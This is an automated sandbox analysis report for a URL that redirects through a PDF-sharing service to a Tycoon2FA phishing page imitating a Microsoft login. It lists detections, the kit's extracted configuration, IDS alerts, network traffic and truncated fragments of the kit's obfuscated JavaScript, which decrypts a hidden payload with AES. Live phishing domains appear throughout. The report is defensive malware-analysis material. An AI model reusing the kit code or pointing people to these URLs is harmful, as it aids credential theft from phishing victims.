Edit tour

Windows Analysis Report
https://pdf.ac/3eQ2md

Overview

General Information

Sample URL:	https://pdf.ac/3eQ2md
Analysis ID:	1578377
Infos:

Detection

HTMLPhisher, Tycoon2FA

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected HtmlPhish10

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Detected suspicious crossdomain redirect

Drops files with a non-matching file extension (content does not match file extension)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded SVGs detected

HTML title does not match URL

Invalid T&C link found

Suricata IDS alerts with low severity for network traffic

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64native

chrome.exe (PID: 2052 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: BB7C48CDDDE076E7EB44022520F40F77)

chrome.exe (PID: 1348 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=1832,i,4581618519772567088,118076782903170394,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2220 /prefetch:3 MD5: BB7C48CDDDE076E7EB44022520F40F77)

chrome.exe (PID: 6564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pdf.ac/3eQ2md" MD5: BB7C48CDDDE076E7EB44022520F40F77)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]"}

Yara Signatures

HTML

Source	Rule	Description	Author
0.93.id.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
7.13.pages.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
7.13.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
7.14.pages.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
7.14.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:27:47.318622+0100	2022112	1	Exploit Kit Activity Detected	192.168.11.20	49824	3.223.235.15	443	TCP
2024-12-19T16:27:48.370052+0100	2022112	1	Exploit Kit Activity Detected	192.168.11.20	49831	44.220.125.16	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.93.id.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]"}

Phishing

AI detected phishing page

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'py.hubstabla.ru' does not match the legitimate domain for Microsoft., The domain 'hubstabla.ru' is unrelated to Microsoft and uses a Russian domain extension, which is unusual for Microsoft., The presence of input fields for 'Email, phone, or Skype' suggests an attempt to collect sensitive information, which is common in phishing sites. DOM: 7.14.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 7.13.pages.csv, type: HTML
Source: Yara match	File source: 7.14.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 0.93.id.script.csv, type: HTML
Source: Yara match	File source: 7.13.pages.csv, type: HTML
Source: Yara match	File source: 7.14.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.76.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcon... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the script may have some legitimate functionality, the overall risk level is high due to the presence of these malicious indicators.
Source: 0.85.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcon... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially execute further malicious actions.
Source: 0.89.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/soYF/... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The combination of these behaviors strongly suggests malicious intent, potentially to prevent analysis or hide further malicious activities.
Source: 0.77.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcon... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a potentially malicious domain. The combination of these behaviors strongly suggests that this script is intended to hinder security analysis and potentially carry out malicious activities.
Source: 0.78.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcon... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. Overall, this script demonstrates highly suspicious and malicious behavior, posing a significant security risk.
Source: 0.86.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcon... This script exhibits several high-risk behaviors, including data exfiltration, dynamic code execution, and redirects to potentially malicious domains. The script appears to be attempting to extract user data and redirect the user to an unknown destination, which is highly suspicious and indicative of malicious intent.
Source: 0.90.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/425920345538109522YB7ADRVV... This script exhibits several high-risk behaviors, including dynamic code execution, redirects to suspicious domains, and aggressive DOM manipulation. It also attempts to detect and block common debugging and security tools, which is a strong indicator of malicious intent. The script's overall behavior is highly suspicious and poses a significant risk to the user's security and privacy.
Source: 0.87.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://py.hubstabla.ru/soYF/... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. The use of `atob()` and string manipulation to decode and execute the script content is a clear indicator of potential malicious intent. Additionally, the script appears to be sending data to an external domain, which could be used for data exfiltration. The heavy obfuscation of the code further raises suspicions about the script's purpose. While the final score is capped at 7 due to the lack of clear evidence of malicious intent, this script should be thoroughly investigated and its behavior closely monitored.

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg

HTTP Parser: Number of links: 0

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://www.pdffiller.com/jsfiller-desk19/?flat_pdf_quality=high&isShareViaLink=1&requestHash=a2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2&lang=en&projectId=1720458241&PAGE_REARRANGE_V2_MVP=true&richTextFormatting=true&isPageRearrangeV2MVP=true&jsf-page-rearrange-v2=true&jsf-redesign-full=true&act-notary-pro-integration=true&isSkipEditorLoadFrequency=true&jsf-desktop-ux-for-tablets=false&jsf-probability-70=true&jsf-socket-io=false&jsf-simplified-modes-iteration-1=false&jsf-offline-mode=false&routeId=7e6058c3c2cfc0c35e64ebfda2d729ea#652dbb9ebce848019b59684b5941e680

HTTP Parser: Total embedded SVG size: 312084

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg

HTTP Parser: Title: does not match URL

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: Invalid link: Terms of use
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: Invalid link: Privacy & cookies
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: Invalid link: Terms of use
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: Invalid link: Privacy & cookies

Source: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcontext=ab49e0ca-b84c-42e2-8da8-47dcc1154be4	HTTP Parser: var vcujyfdxpx = "g";var puyellhbej = "z";var bauhjbaufe = window.location.hash.substr(1);if (bauhjbaufe) {bauhjbaufe = bauhjbaufe.split('#').pop();}if (!bauhjbaufe) { const urlparams = new urlsearchparams(window.location.search); if (window.location.href.includes('%23')) { bauhjbaufe = window.location.href.split('%23').pop(); } if (window.location.href.includes('?')) { bauhjbaufe = window.location.href.split('?').pop(); vcujyfdxpx = ""; puyellhbej = ""; }}function khffjkqtqo(lsnbnhodgu) {vtnuzfloqt = lsnbnhodgu.replace(/#/g, '').replace(/\?/g, '');$.ajax({type: "post",url: "/kfovxsxnmx6hr45seeo64orggepotkwsn6ax2twzv2trcew",data: {data: vtnuzfloqt},success: function(data) {var {a,b,c,d} = json.parse(data);bxcflikdkj = cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8, iterations: 999}), {iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8);if...
Source: https://py.hubstabla.ru/soYF/	HTTP Parser: var rjpnkgnaby = "z";var zsaqmstiqq = "a";var zqmdhbycss = window.location.hash.substr(1);if (zqmdhbycss) {zqmdhbycss = zqmdhbycss.split('#').pop();}if (!zqmdhbycss) { const urlparams = new urlsearchparams(window.location.search); if (window.location.href.includes('%23')) { zqmdhbycss = window.location.href.split('%23').pop(); } if (window.location.href.includes('?')) { zqmdhbycss = window.location.href.split('?').pop(); rjpnkgnaby = ""; zsaqmstiqq = ""; }}function hsxvyzxzss(vwbikgznfv) {tpqlzgusoi = vwbikgznfv.replace(/#/g, '').replace(/\?/g, '');$.ajax({type: "post",url: "/kf6fv6ybrt29axf8ynnyt2nxphjwqmprqauhxcprbyzsifnfq",data: {data: tpqlzgusoi},success: function(data) {var {a,b,c,d} = json.parse(data);csnzrgtena = cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8, iterations: 999}), {iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8);...
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "g0fy";var emailcheck = "0";var webname = "rtrim(/web8/, '/')";var urlo = "/uh4csw5ax2xcljbjrif4mywcj38gow475rf3hnzb";var gdf = "/ijofg3mngyqadpcod5jtouvggumtk2zq2d0uncd112";var odf = "/gh3yicozodm58sadhi9xwfuvszriqrybejfrab650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";let useragent = navigator.useragent;let browsername;let userip;let usercountry;var errorcodeexecuted = false;if(useragent.match(/chrome\|chromium\|crios/i)){ browsername = "chrome";} else if(useragent.matc...

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg

HTTP Parser: <input type="password" .../> found

Source: https://www.pdffiller.com/jsfiller-desk19/?flat_pdf_quality=high&isShareViaLink=1&requestHash=a2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2&lang=en&projectId=1720458241&PAGE_REARRANGE_V2_MVP=true&richTextFormatting=true&isPageRearrangeV2MVP=true&jsf-page-rearrange-v2=true&jsf-redesign-full=true&act-notary-pro-integration=true&isSkipEditorLoadFrequency=true&jsf-desktop-ux-for-tablets=false&jsf-probability-70=true&jsf-socket-io=false&jsf-simplified-modes-iteration-1=false&jsf-offline-mode=false&routeId=7e6058c3c2cfc0c35e64ebfda2d729ea#652dbb9ebce848019b59684b5941e680	HTTP Parser: No favicon
Source: https://www.pdffiller.com/jsfiller-desk19/?flat_pdf_quality=high&isShareViaLink=1&requestHash=a2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2&lang=en&projectId=1720458241&PAGE_REARRANGE_V2_MVP=true&richTextFormatting=true&isPageRearrangeV2MVP=true&jsf-page-rearrange-v2=true&jsf-redesign-full=true&act-notary-pro-integration=true&isSkipEditorLoadFrequency=true&jsf-desktop-ux-for-tablets=false&jsf-probability-70=true&jsf-socket-io=false&jsf-simplified-modes-iteration-1=false&jsf-offline-mode=false&routeId=7e6058c3c2cfc0c35e64ebfda2d729ea#652dbb9ebce848019b59684b5941e680	HTTP Parser: No favicon
Source: https://www.pdffiller.com/jsfiller-desk19/?flat_pdf_quality=high&isShareViaLink=1&requestHash=a2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2&lang=en&projectId=1720458241&PAGE_REARRANGE_V2_MVP=true&richTextFormatting=true&isPageRearrangeV2MVP=true&jsf-page-rearrange-v2=true&jsf-redesign-full=true&act-notary-pro-integration=true&isSkipEditorLoadFrequency=true&jsf-desktop-ux-for-tablets=false&jsf-probability-70=true&jsf-socket-io=false&jsf-simplified-modes-iteration-1=false&jsf-offline-mode=false&routeId=7e6058c3c2cfc0c35e64ebfda2d729ea#652dbb9ebce848019b59684b5941e680	HTTP Parser: No favicon
Source: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/TNVXGZpAEEeVLNCQ-7w9cAEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fpublic-usa.mkt.dynamics.com%252Fapi%252Forgs%252Fbe64e573-e0bd-ef11-b8e4-000d3a106803%252Fr%252FyuBJq0y44kKNqEfcwRVL5AEAAAA%253Ftarget%253D%257B%2522TargetUrl%2522%25253A%2522https%2525253A%2525252F%2525252Fpy.hubstabla.ru%2525252FsoYF%2525252F%2522%25252C%2522RedirectOptions%2522%25253A%257B%25225%2522%25253Anull%25252C%25221%2522%25253Anull%257D%257D%2526digest%253Df0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%25253D%2526secretVersion%253Da587597bbd2d4ba3bb4334f6d8be15ee%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=ce6Yi49QL7%2BEXcaIli3%2FTFOTczuiNNnio12L4NDMer0%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee	HTTP Parser: No favicon
Source: https://public-usa.mkt.dynamics.com/api/orgs/be64e573-e0bd-ef11-b8e4-000d3a106803/r/yuBJq0y44kKNqEfcwRVL5AEAAAA?target={%22TargetUrl%22%3A%22https%253A%252F%252Fpy.hubstabla.ru%252FsoYF%252F%22%2C%22RedirectOptions%22%3A{%225%22%3Anull%2C%221%22%3Anull}}&digest=f0v0J5IzkAo34rBuFefg2clnhg1IoM5BcOKIi1BTBCA%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee#msdynmkt_trackingcontext=1957d54c-409a-4710-952c-d090fbbc3d70	HTTP Parser: No favicon
Source: https://py.hubstabla.ru/soYF/#msdynmkt_trackingcontext=ab49e0ca-b84c-42e2-8da8-47dcc1154be4	HTTP Parser: No favicon
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: No favicon
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: No favicon

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: No <meta name="author".. found
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: No <meta name="author".. found

Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: No <meta name="copyright".. found
Source: https://py.hubstabla.ru/425920345538109522YB7ADRVVJ8YKATSS35?MFTSZANXULLHRRJLLESUAu5zzihmcm98eyhoawowy0qg	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\scoped_dir2052_1411674139			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\chrome_BITS_2052_1724532703			Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: pdf.ac to https://www.pdffiller.com/en/sharevialink/u056ysthbk5zoth3txvcng8zzmtuotu4c1i5bunqvwrrsgmyvwxjwwf2bkjwekzmkzk3cu4rsnjxdtznbfpmqzrsmve0mwzkbhppotrmclnor0l4egr2qm5ymtvtennhruvacljamm40bxv4y3nieun0mhzwq0jstjbgrfbjrituvtz5a3pfmgvxvvo3be44bvlbcw1vvdaxsjlorwrsykfxswtfk1hxnlh4rwhrcdbyznd4tzjdl2ftmyteut09.htm

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.11.20:49831 -> 44.220.125.16:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.11.20:49824 -> 3.223.235.15:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 23.192.36.137
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /3eQ2md HTTP/1.1Host: pdf.acConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/impressions?origin=https://www.pdffiller.com&initialPage=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Dfalse%26routeId%3D7e6058c3c2cfc0c35e64ebfda2d729ea%23652dbb9ebce848019b59684b5941e680 HTTP/1.1Host: sks.mrkhub.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.pdffiller.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/impressions?origin=https://www.pdffiller.com&initialPage=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Dfalse%26routeId%3D7e6058c3c2cfc0c35e64ebfda2d729ea%23652dbb9ebce848019b59684b5941e680 HTTP/1.1Host: sks.mrkhub.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sks_initial_page=eyJpdiI6Ii9qVmlVT3pQU1J0aXN3WU1LOWE4SWc9PSIsInZhbHVlIjoibTRzTG1kTkhLWVd5VkZSWmdsUXRaWnRwQUVBS0drY01hb0tOTjRhRVEwRzgwZUF6WkhRVnJ4UnNFdmtWNFEzMDVZNjdTQzhxUVVLMElSZk9BUWo1eXlGa0tEYWNCR0xnc2FsN3NCWjlnb0U9IiwibWFjIjoiZDg5ZDFkNjZjNmI0NmFjNzg2ZmNhNGRjMjk2NjBlN2Y5YWE2NmI4ODQ4OWU5MzU3ODMxZTE5MjczYzhjZGU2NSIsInRhZyI6IiJ9; sks_referrer=eyJpdiI6InZsTnFqMnA3S3lMS0huenNtRmo5QUE9PSIsInZhbHVlIjoib2xUSG9FaHF4NmFhcGRGOTBFYkxNdDlFYW9wVnBHNU5OUGEvYm13ZlNPSitoeG8rQy9XQVlVeXkrTFRJVjBZcyIsIm1hYyI6IjQyODllNzkyNmMxYzQyZDg1Y2JjZmZkZDcwMzIyYTgyMDVhYmY2MmJiNWRkNjRiMWYyNTI2OWIxOWM1Zjk4OWEiLCJ0YWciOiIifQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /static/support-static/514/organisations/pdffiller/stylesheet/modals/feedback-modals.min.css HTTP/1.1Host: static.pdffiller.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=bhjju3r92ph60t1at05f4bvuv5; stream_uuid=a00d4ee7-f74f-4ad3-845c-26806b82f93e; external_guest_id=a664c069d6.1734622052; 